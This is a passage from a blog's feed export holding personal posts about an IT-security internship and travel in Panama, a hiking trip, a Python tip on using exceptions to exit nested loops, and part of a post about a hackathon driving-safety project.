truly beautiful place and even accessible by bus. I would still love to see more openness and tighter cooperations with universities and academia. Ciudad del Saber has huge potential to become a great campus with all universities of Panama united, sharing facilities like laboratories. I might also think that way because I secretly wish to work there and enjoy the parks every day.<\/p>\n<p>If anyone reading this is checking out the place, here's a protip: Check out <em>Pan y Canela<\/em>. It's an amazing panader\u00eda and you haven't truly been in the City of Knowledge unless you had breakfast or lunch there. Enjoy!<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #05 Taboga - The Island of Flowers","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/05\/15\/ppp-05-taboga-the-island-of-flowers.html","rel":"alternate"}},"published":"2016-05-15T00:00:00+02:00","updated":"2016-05-15T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-05-15:\/2016\/05\/15\/ppp-05-taboga-the-island-of-flowers.html","summary":"<p>During a fair on stipends and opportunities to go abroad at the UTP I met some other interns and students of the uni! Amazing people from Portugal, Mexico, Honduras and Poland. We had a coffee together and got to know each other. They are very down to earth and easy-going \u2026<\/p>","content":"<p>During a fair on stipends and opportunities to go abroad at the UTP I met some other interns and students of the uni! Amazing people from Portugal, Mexico, Honduras and Poland. We had a coffee together and got to know each other. They are very down to earth and easy-going people. Before we each left for office and studies again, some people invited me to join them on a trip to Taboga. <em>\"Of course! That would be awesome!\"<\/em> was the instinctive answer, because after all I'm not here to spend the weekends with work. <em>\"Uhh, and what is Taboga exactly?\"<\/em> was the follow-up question. Now I can answer it! It's a beautiful volcanic island located in the Gulf of Panama. Ferries towards Taboga leave daily from the Amador Causeway and roughly take 40 minutes to reach land again. On the way there we had an amazing view on the giant container ships waiting for passage through the Panama Canal.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-05-taboga-the-island-of-flowers\/taboga-1.jpg\" data-pswp-width=\"1620\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-05-taboga-the-island-of-flowers\/taboga-1.jpg\" alt=\"Waiting container ships\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The air is much cleaner than in the city while maintaining the same tropical rain forest climate. That means high humidity (85% to 100%) and average daytime temperatures of 28\u00b0C. With the fresh air however it's much more bearable than inside the city! On Taboga you're surrounded by nature in a fairly small village with nice people. While tourism is the main income source, we did not see too many people and on <em>Saturday<\/em> the beach was almost empty. We slept in a small house that was kindly provided to us by a nice lady in a nearby restaurant - one night, $15 per person. Neat! In the evening we enjoyed the beach view at dawn with some ice-cold Balboa (<em>the best beer I found here so far!<\/em>). While exploring the rest of the village we met a Venezulean who showed us around and took us to a nice pizza place where we enjoyed the rest of the evening.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-05-taboga-the-island-of-flowers\/taboga-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-05-taboga-the-island-of-flowers\/taboga-2_thumb.jpg\" alt=\"The view of Taboga beach\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>The next day we headed back to the beach. By that time I already had gained the nickname \"El camar\u00f3n\" - the shrimp. The past day I put on sunscreen but did not put on new screen regularly and missed out some spots because of sand being in the way. Long story short: I got the sunburn of my life. We're not talking about red skin here. We're talking about <em>violet burn marks<\/em> - especially on the feet. Still, optimism and the drive for adventure are stronger than pain. So hobbling and this time soaked in sunscreen, I went back to the beach. I joined in on a kayak tour to explore the surroundings of <em>El Morro<\/em>, that big mountain in front of the island. Regularly a bright screecy sound would emerge from the mountaintop - the screams of the vultures living there. Being able to occasionally put my sore feet into the cold, clear waters and watching the luxurious boats from close, this was definitely the highlight of the trip!<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/ppp-05-taboga-the-island-of-flowers\/taboga-3.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1440\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-05-taboga-the-island-of-flowers\/taboga-3_thumb.jpg\" alt=\"Kayak with friends!\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>All in all Taboga is a really beautiful place to visit and worth every cent. While the ferry (one way, $10), room and kayak (one hour, $10) were quite cheap, the food <em>can<\/em> be quite expensive, depending where you eat. A good tip is to check out the small shops on the street for a quick snack or cold beverages. It's an island that has much more to offer and I will come back for sure to explore some more and relax on the beach (<em>with plenty of sunscreen<\/em>).<\/p>\n<p>Baruc, an amazing friend from the trip put together this neat compilation. Thanks for that!<\/p>\n<iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/UlRwNBLgqxo\" frameborder=\"0\" allowfullscreen><\/iframe>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #04 Turning the Tides","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/05\/02\/ppp-04-turning-the-tides.html","rel":"alternate"}},"published":"2016-05-02T00:00:00+02:00","updated":"2016-05-02T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-05-02:\/2016\/05\/02\/ppp-04-turning-the-tides.html","summary":"<p>A Monday. Got up early. Bought a Spartan breakfast (water and bread). Off we go to the uni! Work! Get shit done! Meet people! <em>\"Hoy est\u00e1 cerrado!\"<\/em>. I stand before closed doors, next to me a wildly gesticulating and almost shouting security guard crossing his hands. Yeah, right. Today was \u2026<\/p>","content":"<p>A Monday. Got up early. Bought a Spartan breakfast (water and bread). Off we go to the uni! Work! Get shit done! Meet people! <em>\"Hoy est\u00e1 cerrado!\"<\/em>. I stand before closed doors, next to me a wildly gesticulating and almost shouting security guard crossing his hands. Yeah, right. Today was a red-letter day! Ah, my forgetfulness followed me all the way to Panama! At least I got up early. So I took the chance to explore the neighbourhood a little as long as the sun was shining.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-04-turning-the-tides\/panama-apartment.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-04-turning-the-tides\/panama-apartment_thumb.jpg\" alt=\"View from the apartment entry\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>When I came back to the flat the keys were not quite fitting the lock. I couldn't open the outside door. Luckily the old lady living next to my room walked by and talked to me <em>in English<\/em> through the bars of the door. Great first impression you left there, Dom. At least we have something to talk about now: My inability to open a simple door. Jokes aside, we had a good talk and turns out her English is pretty well. She lived in the states for some years with her husband and as soon as she got her pension she left for Panama. Some other neighbours also passed by: from Venezuela, Mexico and Chile. Few of them speak English, but my Spanish is at least good enough to share some basic information about myself and ask the same of the others to get to know them a little. They seemed to appreciate me trying to learn their language.<\/p>\n<p>While yesterday I felt a little down, today gave me the impression that it may not as bad here after all. Earlier that day I had a small chat with a Couchsurfer from Mexico City living in Panama City: Nathiely. We decided to meet up at 13:00 at the nearby mall with her Peruvian friend Vanessa. There we went for some sushi and had an amazing conversation! We could've gone on talking for hours and hours. For evening I already had plans however. Brigitte, some friends of her and I went to a 4D cinema to watch the new Avengers movie. With moving seats and spray water! I've never been to anything like this before! It was an impressive experience and a level of immersion I have not experienced before.<\/p>\n<p>Now tomorrow I'll go to work for real! I'm burning to know what the project really is about, what I'll be doing for the coming months and how it'll work. The technical description on the acceptance note was very vague. But it required skills in computer networks, Hadoop\/ HDFS, the Snort IDS and R for statistical analysis. Also some Linux knowledge and Python skills. I fulfill all these requirements and I'm so looking forward to working with all these technologies on a single project!<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #03 New Lands","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/05\/01\/ppp-03-new-lands.html","rel":"alternate"}},"published":"2016-05-01T00:00:00+02:00","updated":"2016-05-01T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-05-01:\/2016\/05\/01\/ppp-03-new-lands.html","summary":"<p>So today I moved out of Brigitte's house into the new apartment. Before coming here I had the choice between a single apartment with my own fridge and bathroom or a flat-share with ten other people with a shared bathroom and a community kitchen. I decided for the latter, because \u2026<\/p>","content":"<p>So today I moved out of Brigitte's house into the new apartment. Before coming here I had the choice between a single apartment with my own fridge and bathroom or a flat-share with ten other people with a shared bathroom and a community kitchen. I decided for the latter, because I hoped to make some new friends, improve my Spanish and spend some good times with my flatmates. Now that I'm here I have to say that the people seem to be pretty reserved. All doors are closed and no one is in the hallway or kitchen.<\/p>\n<p>Now I'm just sitting around here and I feel kinda useless. Work hasn't started yet and there's few things to do. I wanted to check out the nearby mall and buy some groceries - the most basic stuff like bread, water, shampoo. However it started raining heavily and there's no way I can get there now. So back to the books it is. Hopefully the research project at the UTP will be interesting and connected to some other people from the department. That way I'll be a little more flexible when it comes to planning trips with other people or just going out in the nights.<\/p>\n<p>The whole process of moving was exhausting and the lack of energy probably affects my mood a little. The apartment is pretty dirty. Ten people share <em>a single fridge<\/em> and five people one bathroom. The architecture is extremely nice. There is a nice terrace and a siesta room with a hammock. Part of the flat has a dark wooden floor that gives it a country-style look. A pretty big bummer is the bathroom. The \"shower\" is a pipe coming out of the wall. No shower head. If you turn the valve, cold water comes dribbling out. Warm water and adequate water pressure are a luxury you don't seem to get for a rent of $300 per month.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-03-new-lands\/panama-shower.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-03-new-lands\/panama-shower_thumb.jpg\" alt=\"Dat shower\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>This is certainly going to be an interesting experience. Maybe even healthy. Regular cold showers apparently strengthen your immune system and raise productivity. Time will show. At least the place is close to the uni.<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #02 A Helping Hand","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/04\/30\/ppp-02-a-helping-hand.html","rel":"alternate"}},"published":"2016-04-30T00:00:00+02:00","updated":"2016-04-30T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-04-30:\/2016\/04\/30\/ppp-02-a-helping-hand.html","summary":"<p>Brigitte, my mentor, is an amazing person. She does not only give me a place to sleep. She also hooked me up with a SIM card so I have mobile internet connection. That way I can now navigate around the city and cry for help on WhatsApp should I ever \u2026<\/p>","content":"<p>Brigitte, my mentor, is an amazing person. She does not only give me a place to sleep. She also hooked me up with a SIM card so I have mobile internet connection. That way I can now navigate around the city and cry for help on WhatsApp should I ever get lost. In order for me to get from A to B she also helped me to get a card for public transport. You can charge it with money and insert it when entering the means of your choice so the cost gets withdrawn. $0.25 each ride, no matter how far you go. I wonder whether there's one of these <a href=\"https:\/\/fail0verflow.com\/blog\/2014\/proxmark3-fpga-iir-filter.html\">crackable RFID chips<\/a> in this card. Of course I will not look further into this matter without permission. :)<\/p>\n<p>Brigitte's mother was very supportive. She prepared really good meals and gave me a good first impression of what Panamanian food looks and tastes like. (People here fry <em>everything<\/em>) - We also had some great conversations in English and Spanish. I'm slowly getting used to the language and start to recall some vocabulary from Duolingo and the university language courses. When Brigitte took me to a football match of her team and I met some of her friends, I noticed that I still have to learn <strong>a lot<\/strong>. The people here speak very quickly, shorten words, pronounce them differently (<em>\"The s is silent!\"<\/em>) and often they use words I have never come across so far. I will have to look for some Spanish course here. After all, I also want to get to know the people here and make friends with others in their native language.<\/p>\n<p>So far the weather has been amazing. But rain season is beginning. Yesterday there was a quick rain shower. The others say it wasn't that bad, but I'm sure I've never seen rain this heavy before. The drops were pretty big and when they hit the metal roof of the house in the thousands, it sounded like a battery of drums. Just like the rain sound in Minecraft! With rain like this there's probably no use in buying an umbrella either. If it doesn't break under the force of the rain, the drops hitting the ground will soak you from below.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-02-a-helping-hand\/panama-rain.gif\" data-pswp-width=\"500\" data-pswp-height=\"281\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-02-a-helping-hand\/panama-rain_thumb.jpg\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>","category":{"@attributes":{"term":"Personal"}}},{"title":"PPP #01 Come Fly With Me","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/04\/28\/ppp-01-come-fly-with-me.html","rel":"alternate"}},"published":"2016-04-28T00:00:00+02:00","updated":"2016-04-28T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-04-28:\/2016\/04\/28\/ppp-01-come-fly-with-me.html","summary":"<p>This little series is about my \"travel\" to Panam\u00e1. I applied at IAESTE for an internship in the IT security department of the <em>UTP (Universidad Tecnol\u00f3gica de Panam\u00e1)<\/em>. Here, in my <em>P<\/em>ersonal <em>P<\/em>anama <em>P<\/em>apers I'll write down some of my experiences, problems and solutions while I find \u2026<\/p>","content":"<p>This little series is about my \"travel\" to Panam\u00e1. I applied at IAESTE for an internship in the IT security department of the <em>UTP (Universidad Tecnol\u00f3gica de Panam\u00e1)<\/em>. Here, in my <em>P<\/em>ersonal <em>P<\/em>anama <em>P<\/em>apers I'll write down some of my experiences, problems and solutions while I find my way into Panamanian society and hopefully some interesting security-related research.<\/p>\n<p>When I left Dresden yesterday, I threw my last keys to the flat into the mailbox outside. I still find it a little weird that at that moment I did not feel anything special. With my backpack and suitcase I stood in front of the doors and separated from my last possessions in this city - at least for the coming five months - and it felt like the most normal thing in the world. In Berlin I met up with a very good friend of mine, Alex. We spent a good late evening together having some dinner and talking about old and new times. What makes good friends stand out is not being together all the time. It's the immediate intimacy when they meet again. Good friends often lose contact - but they always come find back to each other. And Alex is a very good friend. After some trouble with my accommodation he spontaneously agreed to give me shelter for a night and hence saved me plenty of money (and some sleep).<\/p>\n<p>I woke up at 5:00 in Berlin. The flight leaves at 7:30 from Tegel airport (TXL). Even though there were no strikes in Germany at that time, the plane still was delayed because the French flight controllers were laying down work. Well, I didn't mind. I had a good book: \"Coding Freedom\" by Gabriella Coleman. It's a really good read on hacker culture and its socio-psychological mechanisms. When I got on the plane I noticed that I completely forgot to eat breakfast because I was so absorbed in the book. With an empty stomach I wished Germany with its ice drizzle and 3\u00b0C farewell. and boarded the flight towards Madrid. There I had a 1.5h wait. Of course during the flight I was reading again. Head over the book I left the plane, stayed in the security area for the whole time and boarded the transatlantic flight to Panam\u00e1 Tocumen airport. Again I forgot to eat. Damn.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-01-come-fly-with-me\/panama-flight.gif\" data-pswp-width=\"500\" data-pswp-height=\"281\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-01-come-fly-with-me\/panama-flight_thumb.jpg\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>At 15:00 local time (22:00 German time) I arrived in Panama. To at least decrease the effects of jet lag I tried not to sleep for the whole 11h flight. It worked quite well for me. At customs the officer at first did not want to let me into the country. I had to fill out a form about the valuables I was carrying with me. As I did not buy anything and safely hid my million-dollar cash stash in Dresden, I had nothing to fill in. The only piece of information I was not able to give about me was my address in Panam\u00e1. My mentor helped me find a flat and all went well, but she did not give me the address in advance. So all I could do was to let the officer know (in my very basic Spanish) that I got an internship at the Universidad Tecnol\u00f3gica de Panam\u00e1 and that if she needed, I'd report my address to the authorities once I know it. After loads of discussion (and probably some misunderstandings powered by Language Barrier\u2122) she decided to simply write down the university's address, shoot some biometric photos of my face, take <strong>all of my fingerprints<\/strong> and let me through. What a kind Orwellian first impression!<\/p>\n<p>After getting my luggage I left for the airports main hall. There I saw a smiling afro with a sign that said <em>\"IAESTE Dominik\"<\/em>. Finally a happy face! Brigitte, also my mentor, really brightened up my day. What am I saying, she saved me for the rest of the month! My flat's rental contract was to begin on May 1st. For the internship (and luckily also the cheapest flight) I was however required to arrive before the first day of work. Because of the weekend and a red-letter day in between, I had to arrive that early. To save me some money she offered me to stay in her mom's house with her for the rest of the month. The house is truly amazing. It's not luxurious, but has its own charms. In the back there is a big terrace with a hammock and a view to the garden where a giant mango tree is growing. Mango here seem to be like apples or cherries in Germany. They grow easily and during the season you have so much of it that you end up giving it away to all of your friends or you're forced to throw it away.<\/p>\n<p>The rest of the day Brigitte showed me parts of the city and gave me some basic orientation. The influence of the US is still visible: There is a great variety of fast food restaurants and you regularly see malls. The inner city is shaped by high-rises with glass fa\u00e7ades - mostly owned by banks and insurance companies. Some of them, most notably Trump Tower however, also provide luxury apartments or hotel space. Traffic here is terrible (especially during rush hours) and cannot be compared to Germany. The street system seems to have grown naturally without the influence of strict supervision and planning. But while it is not the most efficient solution, it still works. Kinda.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-01-come-fly-with-me\/panama-streets.png\" data-pswp-width=\"580\" data-pswp-height=\"318\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-01-come-fly-with-me\/panama-streets.png\" alt=\"I mean, seriously?\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>I am really looking forward to discovering all the little kinks and quirks of Panam\u00e1 and its people! Adem\u00e1s quer\u00eda mejorar mi Espa\u00f1ol aqui.<\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"Saxon Switzerland in Autumn","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2015\/11\/01\/saxon-switzerland-in-autumn.html","rel":"alternate"}},"published":"2015-11-01T22:24:00+01:00","updated":"2015-11-01T22:24:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2015-11-01:\/2015\/11\/01\/saxon-switzerland-in-autumn.html","summary":"<p>When you have the chance to study in Dresden, it's a <em>must<\/em> for every outdoor person to go hiking in the Saxon Switzerland. It's only ~30 minutes away from Dresden and you can get there for free with your semester ticket if you're enrolled at the local uni, Technische Universit\u00e4t \u2026<\/p>","content":"<p>When you have the chance to study in Dresden, it's a <em>must<\/em> for every outdoor person to go hiking in the Saxon Switzerland. It's only ~30 minutes away from Dresden and you can get there for free with your semester ticket if you're enrolled at the local uni, Technische Universit\u00e4t Dresden. Whether spring, summer, autumn or winter; there are always amazing views in a landscape that seems to completely change after every corner.<\/p>\n<p>There are amazing views to discover, ...\n<div class=\"pswp-gallery\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/saxon-switzerland\/dom.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1280\" target=\"_blank\">\n        <img src=\"\/blog\/saxon-switzerland\/dom_thumb.jpg\" alt=\"Amazing views\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/saxon-switzerland\/saxon-autumn-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1280\" target=\"_blank\">\n        <img src=\"\/blog\/saxon-switzerland\/saxon-autumn-2_thumb.jpg\" alt=\"Wonderful colours\" class=\"image-process-article-image\" \/>\n    <\/a>\n    <a href=\"\/blog\/saxon-switzerland\/saxon-autumn-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1280\" target=\"_blank\">\n        <img src=\"\/blog\/saxon-switzerland\/saxon-autumn-1_thumb.jpg\" alt=\"Beauty in the detail\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div><\/p>","category":{"@attributes":{"term":"Personal"}}},{"title":"The \"Pythonic\" GOTO","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2015\/06\/15\/the-pythonic-goto.html","rel":"alternate"}},"published":"2015-06-15T00:00:00+02:00","updated":"2015-06-15T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2015-06-15:\/2015\/06\/15\/the-pythonic-goto.html","summary":"<p>Nope, I'm not going to join the goto war. Even though it's shunned among developers, there are still some situations where it makes sense. A good friend of mine with a background in C recently came to me with a very simple problem that still made him scratch his head \u2026<\/p>","content":"<p>Nope, I'm not going to join the goto war. Even though it's shunned among developers, there are still some situations where it makes sense. A good friend of mine with a background in C recently came to me with a very simple problem that still made him scratch his head when he tried to express it in Python. The problem broke down to comparing three lists to find an element that meets a special criterion. His basic naive concept looked something like this in pseudo-code:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nv\">match<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nv\">False<\/span>\n<span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"nv\">elem1<\/span><span class=\"w\"> <\/span><span class=\"nv\">in<\/span><span class=\"w\"> <\/span><span class=\"nv\">list1<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>{\n<span class=\"w\">    <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"nv\">elem2<\/span><span class=\"w\"> <\/span><span class=\"nv\">in<\/span><span class=\"w\"> <\/span><span class=\"nv\">list2<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>{\n<span class=\"w\">        <\/span><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"nv\">elem3<\/span><span class=\"w\"> <\/span><span class=\"nv\">in<\/span><span class=\"w\"> <\/span><span class=\"nv\">list3<\/span><span class=\"w\"> <\/span><span class=\"k\">do<\/span><span class=\"w\"> <\/span>{\n<span class=\"w\">            <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nv\">condition<\/span><span class=\"ss\">(<\/span><span class=\"nv\">elem1<\/span>,<span class=\"w\"> <\/span><span class=\"nv\">elem2<\/span>,<span class=\"w\"> <\/span><span class=\"nv\">elem3<\/span><span class=\"ss\">)<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span><span class=\"w\"> <\/span>{\n<span class=\"w\">                <\/span><span class=\"nv\">match<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"nv\">True<\/span>\n<span class=\"w\">                <\/span><span class=\"k\">break<\/span>\n<span class=\"w\">            <\/span>}\n<span class=\"w\">        <\/span>}\n<span class=\"w\">        <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nv\">match<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span><span class=\"w\"> <\/span>{\n<span class=\"w\">            <\/span><span class=\"k\">break<\/span>\n<span class=\"w\">        <\/span>}\n<span class=\"w\">    <\/span>}\n<span class=\"w\">    <\/span><span class=\"k\">if<\/span><span class=\"w\"> <\/span><span class=\"nv\">match<\/span><span class=\"w\"> <\/span><span class=\"k\">then<\/span><span class=\"w\"> <\/span>{\n<span class=\"w\">        <\/span><span class=\"k\">break<\/span>\n<span class=\"w\">    <\/span>}\n}\n<\/code><\/pre><\/div>\n\n<p>Of course with his programming background he immediately made the remark that this problem is a good example for using goto in low-level code. You save some comparisons when breaking out of several nested loops. I probably don't have the knowledge to join the debate on this - especially when it comes to embedded programming! But what I know are high-level languages and how to deal with this kind of problem there. It's pretty easy as most languages offer a construct that acts like goto, but just in a certain frame and without the risk of writing spaghetti code. I'm talking about <strong>exceptions<\/strong>. I think they're highly underrated, because they're not only tools for error-handling and increasing the fault-tolerance of your software. You can also use them to easily modify your regular control flow. A sample implementation of the above pseudo-code in Python using exceptions and sets (to remove duplicates) would look as follows:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">class<\/span> <span class=\"nc\">MatchFound<\/span><span class=\"p\">(<\/span><span class=\"ne\">Exception<\/span><span class=\"p\">):<\/span>\n    <span class=\"k\">pass<\/span>\n\n<span class=\"k\">def<\/span> <span class=\"nf\">some_check<\/span><span class=\"p\">(<\/span><span class=\"n\">list1<\/span><span class=\"p\">,<\/span> <span class=\"n\">list2<\/span><span class=\"p\">,<\/span> <span class=\"n\">list3<\/span><span class=\"p\">):<\/span>\n    <span class=\"k\">try<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">for<\/span> <span class=\"n\">elem1<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list1<\/span><span class=\"p\">):<\/span>\n            <span class=\"k\">for<\/span> <span class=\"n\">elem2<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list2<\/span><span class=\"p\">):<\/span>\n                <span class=\"k\">for<\/span> <span class=\"n\">elem3<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list3<\/span><span class=\"p\">):<\/span>\n                    <span class=\"k\">if<\/span> <span class=\"n\">condition<\/span><span class=\"p\">(<\/span><span class=\"n\">elem1<\/span><span class=\"p\">,<\/span> <span class=\"n\">elem2<\/span><span class=\"p\">,<\/span> <span class=\"n\">elem3<\/span><span class=\"p\">):<\/span>\n                        <span class=\"k\">raise<\/span> <span class=\"n\">MatchFound<\/span><span class=\"p\">()<\/span>\n    <span class=\"k\">except<\/span> <span class=\"n\">MatchFound<\/span><span class=\"p\">:<\/span>\n        <span class=\"k\">return<\/span> <span class=\"kc\">True<\/span>  <span class=\"c1\"># Found something!<\/span>\n    <span class=\"k\">return<\/span> <span class=\"kc\">False<\/span>  <span class=\"c1\"># Nothing here<\/span>\n<\/code><\/pre><\/div>\n\n<p>In the particular case of said friend it was even easier. The criterion would just have to be a check that returns <code>True<\/code> if all elements were equal. That's a one-liner in Python. The naive implementation using sets:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nb\">bool<\/span><span class=\"p\">(<\/span><span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list1<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">intersection<\/span><span class=\"p\">(<\/span><span class=\"n\">list2<\/span><span class=\"p\">)<\/span><span class=\"o\">.<\/span><span class=\"n\">intersection<\/span><span class=\"p\">(<\/span><span class=\"n\">list3<\/span><span class=\"p\">))<\/span>\n<\/code><\/pre><\/div>\n\n<p>Doesn't look pythonic enough? Alright, let's compress it some more:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nb\">bool<\/span><span class=\"p\">(<\/span><span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list1<\/span><span class=\"p\">)<\/span> <span class=\"o\">&amp;<\/span> <span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list2<\/span><span class=\"p\">)<\/span> <span class=\"o\">&amp;<\/span> <span class=\"nb\">set<\/span><span class=\"p\">(<\/span><span class=\"n\">list3<\/span><span class=\"p\">))<\/span>\n<\/code><\/pre><\/div>","category":{"@attributes":{"term":"Software"}}},{"title":"Performing Well at CodeFEST8","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2015\/05\/22\/performing-well-at-codefest8.html","rel":"alternate"}},"published":"2015-05-22T00:00:00+02:00","updated":"2015-05-22T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2015-05-22:\/2015\/05\/22\/performing-well-at-codefest8.html","summary":"<p>When we decided to enter the hackathon, some fellow students and I were in it for the fun. We had worked together before in a mandatory software project and wanted to revive the productive atmosphere of the good old times. Neither did we expect to <em>win in Dresden<\/em> nor did \u2026<\/p>","content":"<p>When we decided to enter the hackathon, some fellow students and I were in it for the fun. We had worked together before in a mandatory software project and wanted to revive the productive atmosphere of the good old times. Neither did we expect to <em>win in Dresden<\/em> nor did we have in mind that there was a realistic chance of <strong>winning at the CeBIT 2015<\/strong> against teams from Germany, Austria and Switzerland.<\/p>\n<h4>No Work All Play Makes a Good Code<\/h4>\n<p>After the idea was drafted, the team, consisting of long-time friends but also a freshman and an older diploma student, was relentlessly working for the whole 26 hours. Only one team member went home to sleep but quickly returned to continue programming. When most of the work was done but there was still some time left, the freshman even decided to spontaneously develop a Windowsphone app. It lacked server integration but once it was displayed in the five minute demo talk, the bare amount of progress we made, seemed to absolutely convince the jury. They enjoyed the way we emphatically followed our goals while staying focused on effectively making progress. They also commended how our idea solved a serious problem with a non-serious appproach.<\/p>\n<h4>The Problem<\/h4>\n<p>In a <a href=\"https:\/\/spoons.fyi\/2015\/05\/12\/some-thoughts-on-the-codefest8-in-dresden.html\">previous post<\/a> I already mentioned the hackathon was themed as <em>mobility of the future<\/em>. So what's a serious problem that could be tackled by the automotive industry with IT? Obviously: Security. The German standards are very high set already, however, each life lost is one too much. The largest risk group are still young people between 18 and 25 - <em>new drivers<\/em>, inexperienced with high speeds and often slow to react to new situations. According to <a href=\"https:\/\/www.destatis.de\/DE\/Publikationen\/Thematisch\/TransportVerkehr\/Verkehrsunfaelle\/PK_Unfallentwicklung_PDF.pdf?__blob=publicationFile#page=35\">these stats from 2012<\/a>, <strong>66%<\/strong> of 18- to 24-year-olds involved in an accident were the cause of it. If they just had something that keeps them on track - some kind of <em>non-interfering feedback<\/em>.<\/p>\n<h4>The Actual Project<\/h4>\n<p>That's a good idea. It doesn't exist in that form, yet. There are many systems already on board systems that involve gamification elements. They reward the driver for driving a certain distance, remind them of breaks, give them the ability to share their tracks on social media, etc. But none of them were designed from scratch with driving safety in mind. The idea is a system that passively rewards the driver for safe behaviour and motivates him to continue driving safely. That's the gamification part: Rankings, experience points, levels and other game-like elements keep the user immersed and dedicated.<\/p>\n<p>The advantage: Not only young people are receptive for gamification means. With driving safety's strong relation to reality and practical relevance, it appeals to all age groups. Stats of German road casualties show the age groups that the project's contents focus on. These are from 2013 and involve dead (<em>dark blue<\/em>) and wounded (<em>light blue<\/em>) people. The orange line is proportional to the population in 100.<\/p>\n<p><img alt=\"Road casualties 2013\" 